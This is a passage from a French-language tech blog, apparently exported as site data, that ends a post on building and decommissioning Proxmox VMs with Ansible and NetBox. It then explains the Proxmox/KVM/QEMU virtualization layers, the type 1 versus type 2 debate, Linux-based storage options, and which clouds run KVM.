honnête d\u0026rsquo;un module dont la forme de retour dépend de la branche prise.\nSi vous avez besoin de la MAC de façon fiable dans les deux cas, prenez-la de proxmox_vm_info inconditionnellement et analysez une seule forme plutôt que deux.\nLe piloter depuis une source de vérité Regardez encore la ligne qui ouvre le play :\nhosts: \u0026#34;{{ target_hosts | default(\u0026#39;cluster_pve:\u0026amp;status_planned\u0026#39;) }}\u0026#34; C\u0026rsquo;est l\u0026rsquo;architecture réelle, et il vaut de le dire clairement : les VM à construire ne sont pas une liste dans un fichier de vars. Ce sont les hôtes de votre inventaire dont le statut enregistré dit qu\u0026rsquo;ils devraient exister et ne le font pas encore.\nL\u0026rsquo;inventaire ici est NetBox. Une VM est demandée en créant un enregistrement NetBox de statut planned, portant son CPU, sa mémoire, son disque, son VLAN, son propriétaire et sa plateforme. Le playbook sélectionne les machines planned, les construit, alloue une IP, écrit le DNS, puis passe l\u0026rsquo;enregistrement à staged — moment où cet hôte ne correspond plus au motif d\u0026rsquo;hôtes du play, et un handler rafraîchit l\u0026rsquo;inventaire pour que le prochain play voie le nouvel état :\nhandlers: - name: Refresh inventory ansible.builtin.meta: refresh_inventory Le champ de statut est une machine à états, le playbook est une transition dedans, et le tout est relançable parce qu\u0026rsquo;un hôte qui a déjà avancé n\u0026rsquo;est plus sélectionné. C\u0026rsquo;est une bien meilleure propriété que n\u0026rsquo;importe quelle idempotence au niveau du module, et c\u0026rsquo;est la raison pour laquelle la tâche de création peut se permettre d\u0026rsquo;être à coup unique.\ncommunity.proxmox livre aussi son propre plugin d\u0026rsquo;inventaire, qui construit un inventaire depuis le cluster — le bon choix quand Proxmox est la source de vérité. Ici c\u0026rsquo;est l\u0026rsquo;inverse : NetBox fait autorité et Proxmox est là où son intention se réalise. C\u0026rsquo;est tout un billet à part et je l\u0026rsquo;écrirai séparément.\nLe reprendre La création sans démantèlement est un demi-cycle de vie, et le chemin de retrait a son propre piège — vous ne pouvez pas supprimer une VM en marche :\n- name: Force stop the VM if it is running delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; state: stopped force: true timeout: 10 - name: Allow the cluster to stop the VM before removing it ansible.builtin.pause: seconds: 10 - name: Remove the VM from the cluster delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; state: absent force: true timeout: 10 state: stopped est un arrêt gracieux, et l\u0026rsquo;interaction avec timeout est documentée et vaut d\u0026rsquo;être mémorisée : si le délai est atteint avec force: true, la VM est éteinte durement ; avec force: false, la tâche échoue à la place. Une fenêtre gracieuse de dix secondes suivie d\u0026rsquo;un débranchage est une politique raisonnable pour une machine qu\u0026rsquo;on démantèle, et une terrible pour tout le reste.\nLe démantèlement complet (proxmox-remove-vms.yml) défait ensuite le reste de l\u0026rsquo;enregistrement : le DNS, l\u0026rsquo;IP allouée, les interfaces NetBox, la VM NetBox, et les entrées périmées dans known_hosts. Il enveloppe le bloc dans ignore_errors: true, ce qui est défendable dans un démantèlement. Vous retirez des choses qui peuvent déjà être parties, et une machine à moitié supprimée est pire qu\u0026rsquo;un journal bruyant.\nCe que je changerais dans un montage neuf Ayant lu la source du module plutôt que sa seule documentation, quatre choses :\nUtilisez un jeton d\u0026rsquo;API, pas api_user plus api_password. Cadré, révocable, et il n\u0026rsquo;appartient jamais à une personne. Réglez validate_certs explicitement, avant que 2.0.0 ne le change sous vous. Allouez le VMID vous-même depuis la source de vérité. Cela retire la course lire-modifier-écrire, vous laisse abandonner serial: 1, et donne à chaque tâche ultérieure un identifiant stable au lieu d\u0026rsquo;un nom qui n\u0026rsquo;est pas unique. Créez la VM nue, puis attachez ses disques et NIC avec proxmox_disk et proxmox_nic. Plus de tâches, mais chaque disque et interface a alors un module qui peut le changer plus tard — dont create: disabled pour des éditions d\u0026rsquo;options seulement et state: detached au lieu de la suppression — plutôt qu\u0026rsquo;une configuration qui ne peut être changée que par update_unsafe. Prenez la MAC de proxmox_vm_info à un seul endroit, pour qu\u0026rsquo;il y ait une seule forme à analyser au lieu d\u0026rsquo;une conditionnelle entre une valeur de retour documentée et une non documentée. Et ne recourez pas à --check sur un playbook de construction. Le module qui compte ne peut pas l\u0026rsquo;honorer.\nUne passe à blanc qui dit toujours oui est pire que pas de passe à blanc du tout, parce que vous la croirez.\nRéférences community.proxmox collection docs — toute la surface des 47 modules community.proxmox on GitHub — où vit la source citée plus haut ; plugins/modules/proxmox_kvm.py est le fichier à lire quand la doc est ambiguë proxmox_kvm module documentation — la liste de paramètres, et les avertissements update / update_unsafe cités plus haut proxmox_vm_info module documentation — config: current et config: pending PVE qm options reference — la vraie spécification pour chaque chaîne scsi[n], net[n] et boot que vous passez proxmoxer — le client Python sur lequel la collection est bâtie damo2929/ansible-example — les playbooks d\u0026rsquo;où viennent ces extraits, dont l\u0026rsquo;inventaire piloté par NetBox, la génération DHCP et la construction d\u0026rsquo;hyperviseur ","permalink":"https://blogs.damiendye.uk/fr/ansible/proxmox-create-vms-community-proxmox/","summary":"La collection community.proxmox est un client d\u0026rsquo;API, pas un agent de configuration, et cela change la forme de chaque playbook qui l\u0026rsquo;utilise. Où les tâches tournent réellement, pourquoi proxmox_kvm refuse de converger plutôt que de mettre à jour, pourquoi proxmox_disk et proxmox_nic sont là où vont les changements de disque et de NIC, et la valeur de retour non documentée dont vous finirez par avoir besoin.","title":"Créer des VM Proxmox avec Ansible — l'hôte que vous construisez n'existe pas encore"},{"content":"La question par laquelle commence toute évaluation de Proxmox « Proxmox est-il vraiment de niveau entreprise ? »\nÇa revient dans presque toutes les conversations de migration, et l\u0026rsquo;inquiétude qui se cache dessous ne porte presque jamais sur l\u0026rsquo;interface web. Personne ne craint sérieusement qu\u0026rsquo;un tableau de bord dans un navigateur corrompe ses données. Ce que les gens demandent, c\u0026rsquo;est si la chose qui se tient entre une machine virtuelle et le matériel — le composant qui doit tenir un locataire hors de la mémoire d\u0026rsquo;un autre, pour toujours, sans une seule erreur — est une pièce d\u0026rsquo;ingénierie sérieuse ou un projet communautaire devenu populaire.\nC\u0026rsquo;est exactement la bonne chose dont s\u0026rsquo;inquiéter. Elle est juste visée à la mauvaise couche, parce que Proxmox VE ne contient pas d\u0026rsquo;hyperviseur.\nL\u0026rsquo;hyperviseur, c\u0026rsquo;est KVM. Il fait partie de Linux, il y est depuis 2007, et si votre organisation utilise EC2, Google Cloud, Oracle Cloud, Alibaba Cloud, DigitalOcean ou Nutanix, vous le faites déjà tourner en production aujourd\u0026rsquo;hui — vous n\u0026rsquo;avez simplement jamais eu à y penser, parce que quelqu\u0026rsquo;un d\u0026rsquo;autre possédait les couches au-dessus.\nCe billet parle de ce que ce socle commun veut vraiment dire. Les deux moitiés : la part de l\u0026rsquo;argument qui tient réellement, et celle qui se fait surjouer dans les présentations d\u0026rsquo;éditeurs.\nProxmox VE est une couche de gestion La virtualisation sur Linux, ce sont quatre couches distinctes, construites et maintenues par quatre groupes de gens différents.\n1. Les extensions matérielles de virtualisation. Intel VT-x avec EPT, ou AMD-V avec NPT. Du silicium. C\u0026rsquo;est ce qui permet à un invité de faire tourner son propre noyau à la vitesse native avec ses propres tables de pages, sans que rien n\u0026rsquo;émule d\u0026rsquo;instructions.\n2. KVM — l\u0026rsquo;hyperviseur. Des modules noyau : kvm.ko pour le cœur indépendant de l\u0026rsquo;architecture, plus kvm-intel.ko ou kvm-amd.ko pour les extensions du fondeur. C\u0026rsquo;est le composant qui possède la frontière d\u0026rsquo;isolation. Il met en place les structures de contrôle de machine virtuelle de l\u0026rsquo;invité, traite les VM exits, gère les tables de pages de second niveau, et délivre les interruptions.\n3. Le VMM — le moniteur de machine virtuelle, en espace utilisateur. Sur Proxmox VE, c\u0026rsquo;est QEMU. Il construit la carte mère virtuelle : chipset, topologie PCIe, disques, NIC, ports série, firmware. KVM fait tourner le CPU ; QEMU décide du matériel que l\u0026rsquo;invité croit avoir.\n4. La couche de gestion. C\u0026rsquo;est Proxmox VE : pve-manager et pveproxy pour l\u0026rsquo;API et l\u0026rsquo;interface, qemu-server pour transformer un fichier de configuration de VM en ligne de commande QEMU, pve-container pour LXC, pmxcfs par-dessus Corosync pour la configuration de cluster répliquée, pve-ha-manager pour le fencing et le redémarrage, plus la pile pare-feu et SDN.\nCes quatre couches existent aussi sur la plateforme que vous quittez, à faire les mêmes quatre travaux — vCenter est la couche 4, VMkernel la couche 2 — et je reviendrai sur cette comparaison une fois les pièces sur la table.\nLes quatre mêmes couches sur Proxmox VE et sur vSphere Proxmox VE VMware vSphere 4 \u0026#183; gestion Proxmox VE pve-manager \u0026#183; pveproxy \u0026#183; qemu-server pmxcfs sur Corosync \u0026#183; pve-ha-manager \u0026#183; SDN vCenter Server une appliance à part, à dimensionner, licencier, patcher et sauvegarder 3 \u0026#183; modèle d'équipements pve-qemu, en espace utilisateur la carte mère virtuelle : chipset, PCIe, disques, NIC QEMU amont + 78 correctifs Proxmox 2 \u0026#183; hyperviseur \u0026#183; la frontière d'isolation KVM \u0026#8212; kvm.ko + kvm-intel.ko / kvm-amd.ko entrée et sortie de vCPU \u0026#183; EPT/NPT \u0026#183; interruptions Linux amont, dans un noyau compilé par Proxmox le userworld VMX, un par VM I/O d'équipements, instantanés, console distante espace utilisateur \u0026#8212; pas dans le noyau VMkernel, plus un VMM par vCPU instructions et mémoire de l'invité Les mots de VMware pour VMkernel : \u0026#171; a POSIX-like operating system \u0026#187; 1 \u0026#183; silicium Intel VT-x + EPT \u0026#183; AMD-V + NPT le même silicium Les quatre mêmes couches des deux côtés. Proxmox écrit la couche 4, patche lourdement la couche 3, construit le noyau de la couche 2 et prend KVM lui-même chez l\u0026rsquo;amont. VMware écrit les quatre et ne vous laisse en lire aucune. Ce que Proxmox maintient vraiment Proxmox VE possède la couche 4 entièrement. Ce serait faux de dire qu\u0026rsquo;il se contente d\u0026rsquo;empaqueter les couches 2 et 3, et c\u0026rsquo;est la mélecture la plus fréquente de ce que fait l\u0026rsquo;entreprise.\npve-qemu porte 78 correctifs contre le QEMU amont dans son fichier de série au moment où j\u0026rsquo;écris :\nCe que Proxmox ajoute à QEMU : 78 correctifs, à l'échelle extra/ bitmap-mirror/ pve/ 78 correctifs, à l'échelle 26 6 46 Correctifs amont rétroportés. Un nombre frappant sont des correctifs de sécurité dans le modèle d'équipements : validation du pas dans qxl et virtio-gpu, un abandon intel_iommu déclenchable par l'invité, DMA réentrant. Modes de synchro sur bitmap de pages sales pour drive-mirror. Le travail propre à Proxmox : savevm-async, le format VMA, le pilote bloc PBS, pbs-restore, alloc-track, backup fleecing. Dessiné à l\u0026rsquo;échelle depuis debian/patches/series. L\u0026rsquo;essentiel de la file est de l\u0026rsquo;ingénierie propre à Proxmox, et l\u0026rsquo;ensemble siège dans la couche 3 — aucun de ces correctifs ne touche kvm.ko. Ils construisent aussi leur propre noyau, et maintiennent l\u0026rsquo;empaquetage ou des correctifs pour la plus grande partie de la pile alentour — pve-edk2-firmware pour OVMF, plus lxc, zfsonlinux, openvswitch, libiscsi, corosync-pve, lvm et ceph.\nLa vraie frontière est donc : toute la couche 4, de l\u0026rsquo;ingénierie substantielle dans la couche 3, et un noyau qu\u0026rsquo;ils compilent. Ce qu\u0026rsquo;ils n\u0026rsquo;ont pas fait, c\u0026rsquo;est écrire un hyperviseur. Le code KVM de la couche 2 est du Linux amont.\nEt rien de tout ça n\u0026rsquo;est un reproche fait à Proxmox. À ce titre, c\u0026rsquo;est la raison pour laquelle une entreprise de la taille de Proxmox peut être chargée du travail. Une petite société viennoise ne s\u0026rsquo;est pas assise pour écrire un hyperviseur de zéro ; elle a bâti sur un hyperviseur qu\u0026rsquo;Intel, AMD, Red Hat, Google, Amazon et IBM payaient déjà des ingénieurs pour maintenir, et a dépensé son propre effort sur la couche au-dessus et sur le travail d\u0026rsquo;intégration que cette couche demande. C\u0026rsquo;est là qu\u0026rsquo;une équipe de cette taille peut faire une différence, et la file de correctifs montre qu\u0026rsquo;elle la fait.\nCe qu\u0026rsquo;est réellement KVM KVM veut dire Kernel-based Virtual Machine, et le nom est exact : c\u0026rsquo;est une fonction du noyau, pas un programme.\nChargez les modules et Linux gagne un équipement caractère, /dev/kvm, plus un petit jeu d\u0026rsquo;appels ioctl dessus — KVM_CREATE_VM, KVM_CREATE_VCPU, KVM_SET_USER_MEMORY_REGION, KVM_RUN. Cette interface est tout le contrat de l\u0026rsquo;hyperviseur. Tout ce qui sait ouvrir un descripteur de fichier et appeler ioctl peut créer des machines virtuelles.\nIl a été écrit par Avi Kivity chez Qumranet et fusionné dans Linux 2.6.20, sorti en février 2007 — il y a dix-neuf ans. Red Hat a racheté Qumranet en 2008, et KVM est livré dans chaque version du noyau depuis, à la cadence habituelle de neuf à dix semaines. Il a été porté bien au-delà du x86 : arm64, POWER, s390 sur IBM Z, et RISC-V.\nLe point d\u0026rsquo;architecture important, c\u0026rsquo;est pourquoi il est petit.\nKVM n\u0026rsquo;a pas d\u0026rsquo;ordonnanceur, parce que Linux en a un. Un vCPU est un thread hôte ordinaire, et l\u0026rsquo;ordonnanceur complètement équitable le pose sur un cœur comme n\u0026rsquo;importe quel autre thread. Il n\u0026rsquo;a pas de gestionnaire de mémoire, parce que Linux en a un. La RAM invitée est une projection ordinaire en espace utilisateur, donc elle peut être paginée, adossée à des hugepages, ou placée sur un nœud NUMA avec la même machinerie que n\u0026rsquo;importe quel processus. Il n\u0026rsquo;a pas de pile de pilotes, ni de couche bloc, ni de pile réseau, ni de système de fichiers, parce que Linux les avait déjà tous et que ce sont ceux contre lesquels votre fabricant de matériel teste.\nC\u0026rsquo;est ça, le vrai argument de maturité, et il est bien plus fort qu\u0026rsquo;un numéro de version. Chaque amélioration de l\u0026rsquo;équilibrage NUMA, chaque changement d\u0026rsquo;io_uring, chaque pilote réseau, chaque contournement d\u0026rsquo;errata CPU qui atterrit dans Linux atterrit sous vos machines virtuelles, parce qu\u0026rsquo;il n\u0026rsquo;y a pas de noyau d\u0026rsquo;hyperviseur séparé vers lequel quiconque devrait le porter.\nL\u0026rsquo;argument du type 1 trace la ligne au mauvais endroit L\u0026rsquo;objection qui suit, à tous les coups, c\u0026rsquo;est que KVM n\u0026rsquo;est « qu\u0026rsquo;un hyperviseur de type 2 ». Il tourne sur un système d\u0026rsquo;exploitation hôte, contrairement à ESXi, qui tourne sur le métal nu.\nCette taxinomie a trente ans de plus que la virtualisation matérielle, et la chose autour de laquelle elle traçait une ligne n\u0026rsquo;est plus là où chacun croit.\nCe qui se passe vraiment quand un vCPU tourne QEMU appelle ioctl(vcpu_fd, KVM_RUN). Le contrôle passe dans kvm.ko, qui charge l\u0026rsquo;état CPU de l\u0026rsquo;invité et exécute VMLAUNCH. De cette instruction jusqu\u0026rsquo;au VM exit suivant, l\u0026rsquo;invité s\u0026rsquo;exécute directement sur le cœur physique, en mode invité, avec ses propres tables de pages actives via EPT, à pleine vitesse matérielle. Il n\u0026rsquo;y a rien en dessous qui interprète quoi que ce soit. Le « système hôte » n\u0026rsquo;est pas dans le chemin. Il ne tourne même pas sur ce cœur.\nQuand l\u0026rsquo;invité fait quelque chose qui demande un traitement, le CPU sort vers l\u0026rsquo;hôte — et atterrit dans kvm.ko, dans le noyau, exactement au niveau de privilège qu\u0026rsquo;occupe le VMkernel d\u0026rsquo;ESXi. La plupart des exits sont résolus là même et réentrés sans que l\u0026rsquo;espace utilisateur soit jamais impliqué.\nLe chemin d'un vCPU de QEMU jusqu'au mode invité, et où s'arrêtent ses exits espace utilisateur noyau \u0026#8212; anneau 0 mode hôte mode invité \u0026#8212; VMX non-root QEMU \u0026#8212; le thread vCPU un thread hôte ordinaire par vCPU kvm.ko entrée VM \u0026#183; traitement des exits \u0026#183; EPT \u0026#183; interruptions l'invité, sur le cœur physique son propre noyau, ses propres tables de pages via EPT à pleine vitesse matérielle ioctl(KVM_RUN) VMLAUNCH VM exit résolu ici sortie vers l'espace utilisateur Rien n'interprète l'invité, et l'hôte ne tourne pas sur ce cœur. Où s'arrête un exit Résolu dans le noyau \u0026#183; EPT/NPT violation \u0026#183; écriture APIC local \u0026#8212; avec APICv, souvent aucun exit \u0026#183; interruption inter-processeurs, postée en matériel \u0026#183; sonnette virtio-net, prise par vhost-net Atteint QEMU \u0026#183; accès registre sur un e1000 ou un IDE émulé \u0026#183; écriture dans l'espace de configuration PCI \u0026#183; tout ce que QEMU seul sait traiter Seule la seconde liste paie un aller-retour en espace utilisateur, et c'est la liste que vous réduisez en utilisant des équipements virtio et un type de machine qui ne porte aucun matériel hérité. Le chemin que prend un vCPU. Tout ce qui est au-dessus de la ligne pointillée est un thread hôte ; tout ce qui est en dessous est l\u0026rsquo;invité sur le silicium nu. Les seuls exits qui atteignent QEMU sont ceux auxquels QEMU doit répondre. ESXi a exactement la même séparation Regardez maintenant la plateforme qui est censée prouver la distinction.\nLa documentation d\u0026rsquo;architecture de VMware décrit VMkernel comme « a POSIX-like operating system » — un système d\u0026rsquo;exploitation de type POSIX — qui fournit « process creation and control, signals, file system, and process threads ». C\u0026rsquo;est un système d\u0026rsquo;exploitation, de la description de son propre auteur. Et une VM en marche sur ESXi n\u0026rsquo;est pas une chose à l\u0026rsquo;intérieur du noyau — c\u0026rsquo;est un groupe de processus userworld : un VMM par CPU virtuel, qui virtualise les instructions de l\u0026rsquo;invité et gère sa mémoire, et un processus VMX par VM, qui traite les I/O vers les équipements non critiques pour la performance et parle au gestionnaire d\u0026rsquo;instantanés et à la console distante.\nLisez ça en pensant à QEMU. Contexte d\u0026rsquo;exécution par vCPU dans le noyau, processus en espace utilisateur par VM qui fait l\u0026rsquo;émulation d\u0026rsquo;équipements et la gestion. VMware a fait la séparation pour la même raison que tout le monde.\nHyper-V n\u0026rsquo;est pas différent. La documentation de Microsoft est explicite : le Virtual Machine Worker Process, vmwp.exe, est « a user mode component of the virtualization stack », un composant en mode utilisateur de la pile de virtualisation, engendré par VM, et tous les équipements émulés y sont implémentés — tournant dans la partition racine, qui est Windows. Même Xen, l\u0026rsquo;architecture à laquelle la taxinomie va le mieux, a besoin d\u0026rsquo;un Linux généraliste dans dom0 pour fonctionner, et prend son modèle d\u0026rsquo;équipements pour les invités pleinement virtualisés chez QEMU.\nAlors, où est la ligne ? Le critère n\u0026rsquo;a jamais été « est-ce que ça utilise l\u0026rsquo;espace utilisateur ». La taxinomie de Goldberg, du début des années 1970, demande si l\u0026rsquo;hyperviseur est une application qui tourne sur un système d\u0026rsquo;exploitation préexistant, lequel possède déjà le matériel et fait l\u0026rsquo;ordonnancement. Ça, c\u0026rsquo;est un hyperviseur de type 2, hébergé : VMware Workstation, VirtualBox, Parallels Desktop, QEMU tout seul sans accélération. Vous installez un système généraliste, puis vous installez un programme dessus, et ce programme demande de la mémoire et du temps CPU au système comme n\u0026rsquo;importe quel autre programme.\nCe n\u0026rsquo;est pas ce qu\u0026rsquo;est KVM. kvm.ko n\u0026rsquo;est pas un programme au-dessus de Linux. Il fait partie de Linux, s\u0026rsquo;exécute au même niveau de privilège que le code qui possède le matériel, et quand un invité sort il atterrit là directement. Il n\u0026rsquo;y a pas de système hôte sous l\u0026rsquo;hyperviseur. Le noyau est l\u0026rsquo;hyperviseur. Proxmox VE livre ce noyau comme le système, exactement comme ESXi livre VMkernel comme le système.\nEt la version « il a besoin de l\u0026rsquo;espace utilisateur, donc c\u0026rsquo;est du type 2 » ne peut pas être sauvée, parce qu\u0026rsquo;appliquée avec constance elle attrape tout le monde. Aucune VM ne tourne sur ESXi sans son processus VMX, aucune sur Hyper-V sans vmwp.exe, aucune sur Xen en invité HVM sans QEMU. Un test qui met tous les hyperviseurs du commerce dans le même seau ne distingue rien du tout.\nNoyau qui possède la virtualisation CPU et mémoire Modèle d\u0026rsquo;équipements en espace utilisateur, par VM A besoin d\u0026rsquo;un système hôte préexistant ? VMware ESXi VMkernel VMX par VM Non Microsoft Hyper-V l\u0026rsquo;hyperviseur plus la partition racine Windows vmwp.exe Non Xen l\u0026rsquo;hyperviseur Xen plus dom0 Linux QEMU, dans dom0 ou dans un stub domain Non KVM kvm.ko QEMU Non VirtualBox, VMware Workstation le noyau de l\u0026rsquo;hôte, via un pilote installé l\u0026rsquo;application elle-même Oui Quatre produits, une seule forme — puis une cinquième ligne qui est réellement différente. Cette dernière ligne est ce que « type 2 » a été inventé pour décrire, et c\u0026rsquo;est la seule où quelque chose d\u0026rsquo;autre était déjà aux commandes du matériel.\nLa taxinomie trace donc bien encore une ligne. Elle ne la trace simplement pas là où l\u0026rsquo;argument le suppose : KVM et ESXi sont du même côté. Appeler KVM du type 2, c\u0026rsquo;est emprunter un mot à la catégorie VirtualBox et l\u0026rsquo;appliquer à quelque chose qui est, architecturalement, dans la catégorie ESXi.\nCe qui laisse l\u0026rsquo;étiquette sans aucun travail utile dans une évaluation, puisque les deux produits entre lesquels vous choisissez sont dans la même case. Ce qui diffère n\u0026rsquo;est pas le numéro de type. C\u0026rsquo;est qu\u0026rsquo;un éditeur a aussi écrit le noyau et ne vous laissera pas le lire — une distinction de licence et de transparence déguisée en schéma d\u0026rsquo;architecture. Nutanix le montre commercialement : il livre le même code KVM que Proxmox et décrit AHV comme un hyperviseur de type 1 sur métal nu. Même code, étiquette opposée, service marketing différent.\nIl y a bien une vraie inquiétude cachée dans l\u0026rsquo;accusation, et elle mérite un meilleur nom : un noyau généraliste fait un millier de travaux qu\u0026rsquo;un noyau à usage unique ne fait pas, ce qui fait plus de code et plus de surface d\u0026rsquo;attaque à côté de la frontière d\u0026rsquo;isolation. C\u0026rsquo;est légitime et mesurable, et j\u0026rsquo;y reviens vers la fin.\nOù le travail se fait vraiment Le seul endroit où l\u0026rsquo;instinct du « c\u0026rsquo;est sur un système hôte » a un vrai fond, c\u0026rsquo;est le traitement des exits, donc il vaut la peine d\u0026rsquo;être clair sur ce qui part où.\nL\u0026rsquo;invité fait ceci Traité par Coût Touche une page pas encore projetée dans EPT/NPT kvm.ko, dans le noyau Un exit, des microsecondes Écrit dans son APIC local Le CPU lui-même, via APICv/AVIC Souvent aucun exit du tout Envoie une interruption inter-processeurs Interruptions postées, en matériel Souvent aucun exit Émet sur une file virtio-net avec vhost-net Thread noyau, aucun passage par l\u0026rsquo;espace utilisateur Un coup de sonnette Lit un registre sur un e1000 ou un contrôleur IDE émulé Jusqu\u0026rsquo;à QEMU Un exit plus un aller-retour en espace utilisateur Seule la dernière ligne ressemble à la caricature du type 2 — et c\u0026rsquo;est aussi celle qu\u0026rsquo;on supprime par conception, en utilisant des équipements virtio et en ne présentant pas de matériel hérité émulé dont on n\u0026rsquo;a pas besoin. C\u0026rsquo;est le même raisonnement que derrière le choix de Q35 plutôt qu\u0026rsquo;i440fx : moins d\u0026rsquo;accès registre piégés, moins d\u0026rsquo;équipements hérités à parcourir.\nLe système hôte est une fonctionnalité, pas du lest L\u0026rsquo;autre moitié de ce bilan n\u0026rsquo;arrive jamais jusqu\u0026rsquo;à l\u0026rsquo;argument, alors la voici : un nœud Proxmox est une machine sur laquelle vous pouvez vraiment travailler. C\u0026rsquo;est du Debian, donc toute l\u0026rsquo;archive Debian est à un apt install.\nLa supervision que vous faites déjà tourner — un exporteur de nœud Prometheus, smartmontools, votre agent existant — plutôt que ce que l\u0026rsquo;appliance choisit d\u0026rsquo;exposer. Du diagnostic quand quelque chose est lent : fio, iperf3, nvme-cli, perf, bpftrace. Des agents de sauvegarde de n\u0026rsquo;importe quel éditeur qui livre un binaire Linux. De la gestion de configuration, pour que l\u0026rsquo;hyperviseur siège dans le même inventaire Ansible que tout le reste au lieu d\u0026rsquo;être un cas particulier. fwupd pour le firmware, sur du matériel dont le fabricant alimente LVFS. Rien de tout ça ne demande un format de greffon, un paquet signé, ou la bénédiction de l\u0026rsquo;éditeur. Comparez avec le modèle ESXi, où le shell est délibérément restreint, où le code tiers arrive sous forme de VIB, et où il n\u0026rsquo;y a aucun gestionnaire de paquets vers lequel se tourner.\nÇa atteint la pile de stockage Les agents de supervision sont la version ennuyeuse de la chose. La documentation de stockage de Proxmox liste les greffons natifs — dir, NFS, CIFS, CephFS, ZFS, BTRFS, LVM, LVM-thin, iSCSI, FC/SAS, RBD, ZFS-over-iSCSI, PBS — puis ajoute une phrase à prendre au pied de la lettre :\nyou may use all storage technologies available for Debian Linux\nC\u0026rsquo;est une affirmation sur l\u0026rsquo;endroit où se trouve la frontière, et le mécanisme derrière elle est générique : amenez un équipement bloc sur chaque nœud, mettez du LVM dessus, ajoutez-le comme stockage LVM avec shared activé. C\u0026rsquo;est exactement ainsi que marchent les chemins Fibre Channel et iSCSI pris en charge, donc tout ce qui sait produire un équipement bloc partagé peut emprunter la même route.\nQuatre transports, une seule route vers du stockage Proxmox partagé le transport ce que Linux vous donne ce que voit Proxmox Fibre Channel / SAS greffon natif iSCSI greffon natif NVMe/TCP ou RDMA pas de greffon \u0026#8212; nvme-cli ATA over Ethernet pas de greffon \u0026#8212; aoetools un équipement bloc sur chaque nœud /dev/sdX \u0026#183; /dev/nvme0n1 groupe de volumes LVM shared: 1 storage type: lvm migration à chaud à travers le cluster Proxmox VE n'a qu'à reconnaître les deux boîtes de droite. Tout ce qui est à leur gauche est la couche bloc de Linux, et elle se moque de la façon dont l'équipement est arrivé. Deux de ces transports ont un greffon Proxmox et deux n\u0026rsquo;ont rien du tout, et ça ne change rien passé la deuxième boîte. La couche LVM est là où un LUN partagé devient du stockage de cluster, quel qu\u0026rsquo;ait été le livreur. NVMe over TCP ou RDMA est le cas qui vaut d\u0026rsquo;être connu, parce qu\u0026rsquo;il est rapide, actuel, et absent de cette liste de greffons. nvme-tcp et nvme-rdma sont des pilotes hôtes Linux dans l\u0026rsquo;arbre — NVMe/TCP est dans la branche principale depuis la 5.0 — donc il n\u0026rsquo;y a rien à compiler. nvme-cli est un paquet Debian (nvme discover, puis nvme connect), et nvmetcli configure la cible nvmet intégrée au noyau à l\u0026rsquo;autre bout. Un namespace connecté apparaît en /dev/nvmeXnY, et à partir de là c\u0026rsquo;est un équipement bloc ordinaire.\nATA over Ethernet fait le même point depuis l\u0026rsquo;autre extrémité du spectre — ancien, obscur, tout aussi absent de la liste des greffons. Le pilote aoe est dans la branche principale ; aoetools vous donne aoe-discover et aoe-stat ; vblade transforme n\u0026rsquo;importe quel fichier ou équipement bloc d\u0026rsquo;une autre machine en cible. Même route, même résultat.\nCe n\u0026rsquo;est ni une API de greffon, ni un SDK, ni un programme de certification. C\u0026rsquo;est ce qui arrive quand la couche de stockage de l\u0026rsquo;hyperviseur est la couche bloc de Linux.\nLes réserves honnêtes, parce que ça se lit comme un tour de passe-passe jusqu\u0026rsquo;à ce qu\u0026rsquo;il soit 3 h du matin. Aucun de ces deux transports n\u0026rsquo;est un type de stockage Proxmox testé, donc l\u0026rsquo;intégration et ses modes de défaillance — comportement de reconnexion, multipath, délais sous charge — sont à vous d\u0026rsquo;assumer et à vous de tester avant que quoi que ce soit d\u0026rsquo;important n\u0026rsquo;y vive. Et l\u0026rsquo;AoE est un protocole de couche 2 nu, non routable et sans authentification, donc il a sa place sur un VLAN de stockage isolé et nulle part ailleurs. NVMe/TCP a au moins un modèle de découverte et peut être routé, ce qui est une grande partie de la raison pour laquelle c\u0026rsquo;est celui vers lequel se tourner aujourd\u0026rsquo;hui.\nQui d\u0026rsquo;autre fait tourner KVM C\u0026rsquo;est de là que vient l\u0026rsquo;affirmation « vous le faites déjà tourner ». Chaque plateforme ci-dessous fait tourner le même module noyau.\nPlateforme Où vous la croisez La partie KVM Le VMM en espace utilisateur Amazon EC2 (Nitro) Cloud public Module noyau KVM Sur mesure — QEMU retiré, modèle d\u0026rsquo;équipements dans les cartes Nitro AWS Lambda, Fargate Sans serveur /dev/kvm Firecracker — un moniteur de microVM minimal en Rust Google Compute Engine Cloud public KVM depuis le lancement Le VMM maison de Google, délibérément pas QEMU Alibaba Cloud ECS Cloud public KVM simplifié (X-Dragon) Sur mesure, avec réseau et stockage déportés sur une carte MoC Oracle Cloud (OCI) Cloud public Oracle Linux KVM — la même pile qu\u0026rsquo;Oracle livre sur site Lignée QEMU DigitalOcean, Linode/Akamai, Vultr, Hetzner, OVHcloud, Scaleway, UpCloud Cloud public KVM standard QEMU Nutanix AHV HCI sur site KVM standard QEMU avec libvirt et Open vSwitch OpenStack (Nova) Cloud privé KVM standard QEMU via libvirt — le pilote par défaut et le mieux testé Apache CloudStack, OpenNebula, oVirt Sur site KVM standard QEMU via libvirt OpenShift Virtualization, SUSE Harvester Kubernetes KVM standard QEMU dans un pod, via KubeVirt Proxmox VE Sur site KVM standard QEMU, avec LXC à côté pour les conteneurs Tout le monde garde la moitié noyau et réécrit la moitié espace utilisateur Les hyperscalers n\u0026rsquo;ont pas forké KVM. Ils ont forké le travail de QEMU.\nAWS a déplacé EC2 de Xen vers l\u0026rsquo;hyperviseur Nitro, bâti sur le module noyau KVM avec QEMU jeté entièrement. Le modèle d\u0026rsquo;équipements vit dans des cartes Nitro dédiées à la place, et c\u0026rsquo;est ainsi qu\u0026rsquo;ils obtiennent une performance indiscernable du métal nu. Chaque type d\u0026rsquo;instance EC2 de la génération actuelle fait tourner ça. Séparément, Lambda et Fargate font tourner Firecracker, un VMM en Rust bâti pour l\u0026rsquo;occasion qui parle au même /dev/kvm.\nGoogle fait tourner chaque VM Compute Engine sur KVM depuis le lancement de Compute Engine, et a écrit son propre VMM en espace utilisateur plutôt que 